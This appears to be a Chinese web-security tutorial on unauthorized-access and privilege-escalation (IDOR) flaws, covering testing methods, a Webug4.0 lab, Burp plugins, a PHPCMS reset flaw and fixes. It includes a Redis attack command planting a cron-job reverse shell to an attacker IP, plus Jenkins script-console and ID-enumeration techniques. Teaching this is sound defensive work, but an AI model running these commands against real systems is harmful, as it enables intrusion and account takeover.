[红日安全]Web安全Day7 - 越权/非授权访问实战攻防
字数 1864 2025-08-25 22:58:29
Web安全实战:越权/非授权访问漏洞详解与攻防
1. 越权/非授权访问漏洞概述
1.1 漏洞简介
未授权访问是指在不进行请求授权的情况下对需要权限的功能进行访问执行。通常由以下原因导致:
- 认证页面存在缺陷
- 无认证机制
- 安全配置不当
越权漏洞是指用户可以操作超出自己管理权限范围的功能,主要分为两类:
- 垂直越权:低权限用户执行高权限功能
- 水平越权:同级用户间互相访问敏感信息或执行操作
1.2 漏洞原理
- 未授权访问:系统对用户限制不全或无限制,导致任意用户可访问内部敏感信息或执行系统功能
- 越权漏洞:未对访问功能做权限校验或限制不全,仅局限于某一功能和操作
1.3 漏洞危害
-
未授权访问:
- 泄露用户/系统信息
- 可能执行系统命令、操作文件
- 破坏系统整体安全
-
越权漏洞:
- 垂直越权:低权限用户获取高权限账号信息,执行高权限操作
- 水平越权:同级用户互相访问敏感信息(地址、手机号、订单等),以其他用户身份执行操作(购买、删除、修改等)
2. 漏洞测试方法
2.1 常见未授权服务
2.1.1 Redis未授权访问
- 默认开放6379端口
- 攻击示例:
redis-cli -h 192.168.63.130 set x "\n*bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
2.1.2 Jenkins未授权访问
- 默认8080端口
- 通过脚本命令行执行系统命令:
http://target:8080/script
2.1.3 MongoDB未授权访问
- 默认27017端口
- 老版本无权限验证,可远程执行任意数据库操作
2.1.4 Memcache未授权访问
- 默认11211端口
- 可直接读取缓存中的敏感信息
2.2 基于用户ID的越权
- 示例URL:
https://www.xxx.com/user1/userinfo.php?user_id=user1 https://www.xxx.com/user1/userinfo.php?user_id=10001 - 测试方法:
- 数字ID:遍历数字串
- 用户名:枚举用户名字典
- 随机字符串:注册新用户测试
2.3 基于功能对象ID的越权
- 示例URL:
https://www.xxx.com/user1/userticket.php?user_order=100001 https://www.xxx.com/user1/userticket.php?user_order=49ba59ab - 测试方法:
- 遍历订单编号
- 尝试解码(BASE64、MD5等)
- 注册新账号测试
2.4 基于上传文件对象ID的越权
- 示例URL:
https://www.xxx.com/user1/userfile.php?fileid=10001 https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg - 测试方法:
- 遍历fileid
- 注册新用户测试上传文件
2.5 基于未授权访问的越权
- 示例URL:
https://www.xxx.com/user1/user.php?user=user1@user.com - 特征:非登录状态下仍可访问详细信息
2.6 基于功能地址的越权
- 示例URL:
https://www.xxx.com/user/getuserinfo.php - 测试方法:
- 猜测常见功能路径(getuserorder.php, adduser.php等)
- 尝试直接访问
2.7 基于接口身份的越权
- 示例接口:
POST https://www.xxx.com/user/userinfo.php Body: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'} - 测试方法:修改userid参数尝试修改其他用户信息
3. 漏洞靶场测试(Webug4.0)
3.1 环境搭建
- 下载靶场:https://github.com/wangai3176/webug4.0
- 导入SQL文件到数据库
- 修改配置文件:
data/dbconfigdata/dbconn
- 修复路径问题:
// 修改/control/auth_cross/cross_auth_passwd.php header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")
3.2 越权修改密码漏洞
- 使用aaaaa用户登录
- 正常修改密码流程抓包
- 发现漏洞点:
- 修改功能仅依赖URL中的ID参数
- 未校验旧密码与账号一致性
- 修改ID为admin用户ID(1),成功越权修改admin密码
4. 工具测试
4.1 Burp Suite插件
-
Authz插件:
- 安装:BApp Store → Authz → Install
- 使用:
- 获取两个用户Cookie
- 发送请求到Authz
- 比较响应差异
-
AuthMatrix插件:
- 更复杂的越权检测
- 支持多用户、token替换等高级功能
- 项目地址:https://github.com/portswigger/auth-matrix
5. CMS漏洞演示
5.1 PHPCMS 9.5.9前台任意修改用户信息
-
漏洞原理:
- 密码找回功能中验证码未与账号绑定
- 仅校验验证码有效性
-
复现步骤:
- 添加两个测试用户(test1/test2)
- 使用test1获取邮箱验证码
- 在test2的密码找回中使用该验证码
- 成功修改test2密码
5.2 Redis未授权访问
- 环境配置:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make - 修改配置:
#bind 127.0.0.1 protected-mode no - 攻击方法:
- 写入计划任务反弹shell
- 使用gopher协议直接执行
6. 漏洞修复方案
-
参数验证:
- 验证前端获取的参数(用户ID、角色权限名)
- 对请求参数进行权限校验
-
固定信息返回:
- 使用特定链接地址返回
- 采用不可预测地址(如getuserinfo_snhx.php)
-
修改功能安全:
- 根据当前session判断用户
- 参数中只传输修改的用户信息
-
权限区分:
- 不使用相同参数区分用户和管理员
-
查询类越权防护:
- 对每次请求参数做当前用户身份校验
-
验证码安全:
- 验证码与账号/手机号/邮箱绑定
- 执行修改时验证对应关系
-
服务配置:
- Redis/MongoDB等服务设置密码
- 限制服务访问IP
- 关闭不必要的服务端口